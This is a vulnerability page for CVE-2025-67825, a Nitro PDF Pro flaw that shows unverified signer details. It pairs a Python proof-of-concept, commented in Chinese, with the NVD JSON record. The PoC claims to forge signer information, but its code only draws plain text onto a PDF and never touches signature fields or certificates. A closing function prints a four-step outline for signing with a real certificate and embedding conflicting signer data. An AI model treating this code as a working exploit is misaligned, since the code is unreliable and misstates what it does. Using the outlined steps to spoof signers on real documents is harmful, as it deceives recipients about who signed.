CVE-2025-67825

#!/usr/bin/env python3 # CVE-2025-67825 PoC - Nitro PDF Pro签名信息伪造 # 此PoC演示如何创建包含伪造签名者信息的PDF文档 from reportlab.pdfgen import canvas from reportlab.lib.pagesizes import letter import os def create_malicious_pdf(): """创建包含伪造签名者信息的恶意PDF""" pdf_filename = "CVE-2025-67825_malicious.pdf" c = canvas.Canvas(pdf_filename, pagesize=letter) # 添加文档内容 c.drawString(100, 750, "Important Legal Document") c.drawString(100, 730, "This document appears to be signed by:") c.drawString(100, 710, "ACME Corporation (Legitimate Company)") c.drawString(100, 690, "John Smith, CEO") c.drawString(100, 670, "") c.drawString(100, 650, "[Signature Block with forged signer info]") # 添加伪造的签名元数据 # 这些信息会在某些Nitro PDF Pro版本中显示 c.drawString(100, 600, "Signer: Attacker Name") c.drawString(100, 580, "Organization: Target Corporation") c.drawString(100, 560, "Date: 2025-01-15") c.save() print(f"[+] Created malicious PDF: {pdf_filename}") print(f"[+] The PDF contains forged signer information") print(f"[+] When opened in Nitro PDF Pro < 14.42.0.34, signer info may be displayed incorrectly") return pdf_filename def create_signed_pdf_with_mismatched_info(): """ 创建具有签名但签名者信息不匹配的PDF 实际证书信息和显示信息不一致 """ print("[*] To fully exploit CVE-2025-67825:") print("[*] 1. Create a valid digital certificate") print("[*] 2. Sign the PDF with a legitimate certificate") print("[*] 3. Embed conflicting signer information in signature fields") print("[*] 4. Nitro PDF Pro will display the conflicting (unverified) info") if __name__ == "__main__": print("=" * 60) print("CVE-2025-67825 PoC - Nitro PDF Pro Signature Display Issue") print("=" * 60) create_malicious_pdf() create_signed_pdf_with_mismatched_info() print("=" * 60)

{"cve": {"id": "CVE-2025-67825", "sourceIdentifier": "[email protected]", "published": "2026-01-08T18:15:58.957", "lastModified": "2026-02-02T17:16:16.047", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in Nitro PDF Pro for Windows before 14.42.0.34. In certain cases, it displays signer information from a non-verified PDF field rather than from the verified certificate subject. This could allow a document to present inconsistent signer details. The display logic was updated to ensure signer information consistently reflects the verified certificate identity."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-346"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gonitro:nitro_pdf_pro:*:*:*:*:*:*:*:*", "versionEndExcluding": "14.42.0.34", "matchCriteriaId": "EE3B9D51-B33C-40FB-B6AB-4B1AEF98EE0D"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://gonitro.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.gonitro.com/documentation/release-notes", "source": "[email protected]", "tags": ["Release Notes"]}]}}